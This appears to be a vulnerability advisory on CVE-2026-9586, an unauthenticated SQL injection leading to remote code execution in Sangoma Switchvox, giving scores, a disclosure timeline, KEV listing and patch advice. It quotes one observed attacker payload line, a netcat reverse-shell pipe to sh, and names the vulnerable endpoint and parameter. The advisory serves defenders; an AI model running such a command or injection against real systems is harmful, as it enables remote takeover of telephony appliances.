CVE-2026-9586: Sangoma Switchvox Unauthenticated SQLi to RCE (KEV)

CVE-2026-9586 is an unauthenticated SQL injection in Sangoma Switchvox's /pa endpoint that an attacker can use to run arbitrary PostgreSQL statements and ultimately execute remote code on the VoIP telephony appliance, and a security research firm has since observed real exploitation attempts against internet-exposed Switchvox honeypots.

CVE-2026-9586 is a SQL injection (CWE-89) in Sangoma Switchvox, an on-premises enterprise VoIP telephony management system. NVD's Analyzed description states: "The /pa endpoint processes XML content beginning with and directly concatenates the user-controlled PhoneIP value into PostgreSQL queries without sanitization or parameterization. An unauthenticated remote attacker can execute arbitrary SQL statements against the backend PostgreSQL database using a single crafted request, including database operations and remote code execution" (NVD).

NVD lists a Primary CVSS v3.1 score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); a CNA also submitted a Secondary CVSS v4.0 score of 9.3 (NVD).

Security firm Horizon3, which discovered and reported the issue to Sangoma, published the technical disclosure once it observed real-world exploitation. Its write-up traces the flaw to the tel_notify() handler in PhoneAppsHandler.pm, where the PhoneIP value is parsed out of attacker-supplied XML with "NO VALIDATION" and concatenated directly into a SQL query. Horizon3's disclosure timeline shows it reported the bug on 2026-04-10, Sangoma shipped the fix in Switchvox 8.4.0.2 on 2026-07-14, and on 2026-08-30 "Defused Cyber honeypots trip[ped] with a valid exploitation attempt," with the attacker's first payload fetching and piping a reverse shell (nc <ip> <port> | sh). Horizon3 also cites Shodan data showing roughly 4,000 internet-exposed Switchvox instances, most in the United States (Horizon3 disclosure).

CISA added CVE-2026-9586 to the Known Exploited Vulnerabilities (KEV) catalog on 2026-09-02, with a required-action due date of 2026-09-05; the catalog does not record known ransomware campaign use (CISA KEV).

As of 2026-10-28, FIRST scores the probability of exploitation at 0.1898 (97.292th percentile) — lower than the other KEV advisories on this site, but still in the top 3% of all scored CVEs, consistent with a niche but confirmed-exploited appliance (FIRST EPSS).

Any Switchvox deployment reachable from the public internet on a build before 8.4.0.2 should be upgraded immediately; given the confirmed honeypot exploitation, operators should also review PostgreSQL and application logs for signs of prior compromise.

• Unauthenticated SQL injection via the /pa endpoint's unsanitized PhoneIP value lets a remote attacker run arbitrary SQL against the backend PostgreSQL database, including remote code execution. — NVD
• NVD Primary CVSS v3.1 base score is 9.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H; a CNA Secondary CVSS v4.0 score of 9.3 is also on record. — NVD
• Flaw is in PhoneAppsHandler.pm's tel_notify(), fixed in Switchvox 8.4.0.2 (released 2026-07-14); Defused Cyber honeypots recorded a valid exploitation attempt on 2026-08-30; roughly 4,000 Switchvox instances are internet-exposed per Shodan. — Horizon3 disclosure
• Added to the CISA Known Exploited Vulnerabilities catalog on 2026-09-02, required-action due date 2026-09-05. — CISA KEV
• EPSS score is 0.1898 (97.292th percentile) as of 2026-10-28. — FIRST EPSS